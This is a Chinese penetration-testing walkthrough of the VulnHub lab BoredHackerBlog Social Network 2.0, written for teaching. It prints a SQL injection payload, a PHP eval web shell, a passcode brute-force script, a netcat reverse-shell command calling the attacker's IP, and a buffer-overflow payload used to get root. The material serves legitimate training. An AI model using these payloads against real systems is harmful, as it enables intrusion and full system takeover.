VnlnHub BOREDHACKERBLOG SOCIAL NETWORK 2.0
字数 1640 2025-08-12 11:34:27

BOREDHACKERBLOG SOCIAL NETWORK 2.0 渗透测试教学文档

靶场概述

BOREDHACKERBLOG SOCIAL NETWORK 2.0 是一个基于VulnHub的渗透测试靶场,模拟了一个存在多个漏洞的社交网络系统。本教学文档将详细记录从靶场搭建到最终获取root权限的完整渗透测试过程。

靶场搭建

  1. 下载靶场

    • 下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/
    • 文件格式:.ova虚拟机压缩文件
  2. 导入虚拟机

    • 使用VMware导入.ova文件
    • 网络模式设置为NAT模式(与Kali攻击机保持一致)
  3. 网络配置

    • 靶机可能无法自动获取IP,需手动配置
    • 参考解决方案:https://www.freebuf.com/articles/network/343723.html

信息收集

  1. 网络扫描
    nmap -sT -p 0-65535 -A 192.168.52.134
    
    • 开放端口:
      • 22/tcp: SSH服务
      • 80/tcp: HTTP服务(Apache 2.4.29)
      • 8000/tcp: HTTP服务(Python BaseHTTPServer 0.3)

Web应用渗透

初始访问

  1. 网站功能分析

    • 登录/注册页面
    • 评论功能
    • 文件上传功能
  2. SQL注入测试

    • 登录框测试:无SQL注入漏洞
    • 评论搜索功能:存在SQL注入漏洞
  3. SQL注入利用

    ' UNION SELECT 1,database(),user(),version(),5,6,7,8,9,10,11-- -
    
    • 获取信息:
      • 数据库名:socialnetwork
      • 用户名:admin@localhost
      • 版本:5.7.24
  4. 数据库内容提取

    • 表名:friendship, posts, user_phone, users
    • users表字段:user_id, user_firstname, user_lastname, user_nickname, user_password, user_email, user_gender, user_birthdate, user_status, user_about, user_hometown
    • 用户凭证:
      • admin@localhost.com:21232f297a57a5a743894a0e4a801fc3 (MD5: admin)
      • testuser@localhost.com:5d9c68c6c50ed3d02a2fcf54f63993b6 (MD5: testuser)

文件上传漏洞

  1. 上传Web Shell
    • 创建PHP一句话木马:
      <?php @eval($_POST['cmd']); ?>
      
    • 通过蚁剑连接成功获取Web Shell

权限提升

初始提权尝试

  1. 系统信息收集

    • 发现/home/socnet用户目录
    • 发现monitor.py文件(运行在8000端口)
  2. XML-RPC服务分析

    • monitor.py创建了一个XML-RPC服务
    • 包含secure_cmd函数可执行任意命令(需验证passcode)
  3. Passcode暴力破解

    import xmlrpc.client
    with xmlrpc.client.ServerProxy("http://192.168.52.134:8000/") as proxy:
        for i in range(1000,9999):
            a=str(proxy.secure_cmd('id',i))
            if(a.find('Wrong passcode')==-1):
                print('passcode is',i)
    
    • 获取passcode:5150
  4. 获取socnet用户Shell

    import xmlrpc.client
    with xmlrpc.client.ServerProxy("http://192.168.52.134:8000/") as proxy:
        cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.128 5555 >/tmp/f'
        print(str(proxy.secure_cmd(cmd,5150)))
    

最终提权

  1. 发现SUID程序

    • /opt/scripts/add_record(具有SUID位)
  2. 程序分析

    • 功能:向SOCIAL NETWORK 2.0添加雇员信息
    • 创建employee_records.txt文件
  3. 缓冲区溢出漏洞

    • comments字段存在缓冲区溢出漏洞
    • 使用gdb调试确定偏移量:
      gdb -q ./add_record
      pattern create 100
      pattern offset AHAA
      
    • 确定偏移量:62字节
  4. 后门函数利用

    • 发现backdoor函数(0x08048676)
    • 构造payload:
      python -c "import struct; print('qq\n1\n1\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload
      
    • 执行payload获取root权限

总结

本靶场展示了完整的渗透测试流程,包括:

  1. 信息收集与漏洞识别
  2. Web应用渗透(SQL注入、文件上传)
  3. 服务分析与利用(XML-RPC)
  4. 二进制漏洞利用(缓冲区溢出)
  5. 权限提升技术

关键学习点:

  • 多层次的漏洞利用链构建
  • 服务端脚本分析与利用
  • 二进制漏洞的识别与利用
  • 权限提升的多种方法尝试
BOREDHACKERBLOG SOCIAL NETWORK 2.0 渗透测试教学文档 靶场概述 BOREDHACKERBLOG SOCIAL NETWORK 2.0 是一个基于VulnHub的渗透测试靶场,模拟了一个存在多个漏洞的社交网络系统。本教学文档将详细记录从靶场搭建到最终获取root权限的完整渗透测试过程。 靶场搭建 下载靶场 : 下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/ 文件格式:.ova虚拟机压缩文件 导入虚拟机 : 使用VMware导入.ova文件 网络模式设置为NAT模式(与Kali攻击机保持一致) 网络配置 : 靶机可能无法自动获取IP,需手动配置 参考解决方案:https://www.freebuf.com/articles/network/343723.html 信息收集 网络扫描 : 开放端口: 22/tcp: SSH服务 80/tcp: HTTP服务(Apache 2.4.29) 8000/tcp: HTTP服务(Python BaseHTTPServer 0.3) Web应用渗透 初始访问 网站功能分析 : 登录/注册页面 评论功能 文件上传功能 SQL注入测试 : 登录框测试:无SQL注入漏洞 评论搜索功能:存在SQL注入漏洞 SQL注入利用 : 获取信息: 数据库名:socialnetwork 用户名:admin@localhost 版本:5.7.24 数据库内容提取 : 表名:friendship, posts, user_ phone, users users表字段:user_ id, user_ firstname, user_ lastname, user_ nickname, user_ password, user_ email, user_ gender, user_ birthdate, user_ status, user_ about, user_ hometown 用户凭证: admin@localhost.com:21232f297a57a5a743894a0e4a801fc3 (MD5: admin) testuser@localhost.com:5d9c68c6c50ed3d02a2fcf54f63993b6 (MD5: testuser) 文件上传漏洞 上传Web Shell : 创建PHP一句话木马: 通过蚁剑连接成功获取Web Shell 权限提升 初始提权尝试 系统信息收集 : 发现/home/socnet用户目录 发现monitor.py文件(运行在8000端口) XML-RPC服务分析 : monitor.py创建了一个XML-RPC服务 包含secure_ cmd函数可执行任意命令(需验证passcode) Passcode暴力破解 : 获取passcode:5150 获取socnet用户Shell : 最终提权 发现SUID程序 : /opt/scripts/add_ record(具有SUID位) 程序分析 : 功能:向SOCIAL NETWORK 2.0添加雇员信息 创建employee_ records.txt文件 缓冲区溢出漏洞 : comments字段存在缓冲区溢出漏洞 使用gdb调试确定偏移量: 确定偏移量:62字节 后门函数利用 : 发现backdoor函数(0x08048676) 构造payload: 执行payload获取root权限 总结 本靶场展示了完整的渗透测试流程,包括: 信息收集与漏洞识别 Web应用渗透(SQL注入、文件上传) 服务分析与利用(XML-RPC) 二进制漏洞利用(缓冲区溢出) 权限提升技术 关键学习点: 多层次的漏洞利用链构建 服务端脚本分析与利用 二进制漏洞的识别与利用 权限提升的多种方法尝试